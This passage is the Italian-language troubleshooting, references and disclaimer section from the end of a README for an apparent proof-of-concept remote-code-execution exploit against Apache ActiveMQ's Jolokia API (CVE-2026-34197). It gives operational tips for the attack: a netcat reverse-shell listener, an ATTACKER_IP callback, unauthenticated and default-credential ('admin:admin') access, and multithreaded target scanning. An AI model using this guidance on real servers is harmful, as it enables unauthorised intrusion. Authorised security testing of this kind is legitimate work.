| Problema | Causa probabile | Soluzione |
|---------|-------------|----------|
| `Nessuna richiesta payload ricevuta entro 15s` | Il target non può raggiungere il tuo ATTACKER_IP | Verifica la connettività (vedi [guida ATTACKER_IP](#understanding-attacker_ip---lhost)) |
| `Autenticazione fallita (401)` | Credenziali errate | Prova con `--no-auth` (ActiveMQ 6.0.0-6.1.1) o trova le credenziali corrette |
| `Accesso negato (403)` | L'API Jolokia è limitata | Il target potrebbe avere ACL su `/api/jolokia/` — non sfruttabile da remoto |
| `Errore di connessione` / `Impossibile connettersi` | Il target è offline o la porta è errata | Verifica che `http://TARGET:8161/` sia accessibile |
| `Jolokia status=500: impossibile registrare in JMX` | Il connettore dell'exploit precedente è ancora registrato | L'exploit riprova automaticamente con un nuovo nome casuale; riprova |
| La reverse shell non si connette | IP diverso in `-l` rispetto al comando shell, o porta non in ascolto | Assicurati che lo stesso IP sia ovunque; avvia `nc -lvnp PORT` prima dello sfruttamento |
| `Nessun output ricevuto entro 10s` | Il target non ha `curl` e `wget`, o il comando non produce stdout | L'RCE ha comunque funzionato — usa una reverse shell per l'interazione completa |
| L'acquisizione dell'output mostra un risultato vuoto | Il comando non ha prodotto output (ad es. `touch /tmp/test`) | Previsto per comandi senza stdout; usa `ls /tmp/test` per verificare |
| `OSError: Address already in use` sulla porta 8888 | Un altro processo o un'esecuzione precedente sta usando la porta | Usa `-lp 9999` (o qualsiasi porta libera), o termina il processo che blocca |
| La Fase 1 di `version_check.py` è lenta | Troppi pochi thread o alta latenza di rete | Aumenta `--threads 20` o `--threads 30` |
| `version_check.py` mostra `[VULNERABLE]` ma la Fase 2 fallisce | Il target non può raggiungere il tuo IP, o il firewall blocca l'HTTP in uscita | Verifica ATTACKER_IP; prova `--wait 30` per reti lente |
| `version_check.py` mostra `No Jolokia` per tutti i target | L'API Jolokia è disabilitata o su un percorso non standard | Verifica manualmente con `curl -u admin:admin http://TARGET:8161/api/jolokia/` |
---
## Riferimenti
| Risorsa | Link |
|----------|------|
| NVD | [CVE-2026-34197](https://nvd.nist.gov/vuln/detail/CVE-2026-34197) |
| Horizon3 Research | [Analisi tecnica](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/) |
| Advisory Apache | [Advisory di sicurezza](https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt) |
| CVE correlata | [CVE-2024-32114 — Jolokia No Auth](https://nvd.nist.gov/vuln/detail/CVE-2024-32114) |
| CVE correlata | [CVE-2023-46604 — OpenWire RCE](https://nvd.nist.gov/vuln/detail/CVE-2023-46604) |
---
## Disclaimer
> [!WARNING]
> Questa proof-of-concept è fornita **esclusivamente per scopi educativi e di ricerca sulla sicurezza autorizzata**. L'uso non autorizzato di questo strumento contro sistemi che non possiedi o per i quali non hai esplicito permesso di test è **illegale**. L'autore non si assume alcuna responsabilità per un uso improprio.
---
<p align="center">
<a href="https://github.com/KONDORDEVSECURITYCORP">
<img src="https://img.shields.io/badge/GitHub-KONDORDEVSECURITYCORP-181717?style=for-the-badge&logo=github" alt="GitHub"/>
</a>
<a href="https://t.me/KONDORDEVSECURITY">
<img src="https://img.shields.io/badge/Telegram-KONDORDEVSECURITY-26A5E4?style=for-the-badge&logo=telegram&logoColor=white" alt="Telegram"/>
</a>
</p>
<p align="center">
<sub>Sviluppato con competenza da <b>KONDOR DEV SECURITY CORP</b></sub><br>
<sub>Licenza MIT © 2026</sub>
</p>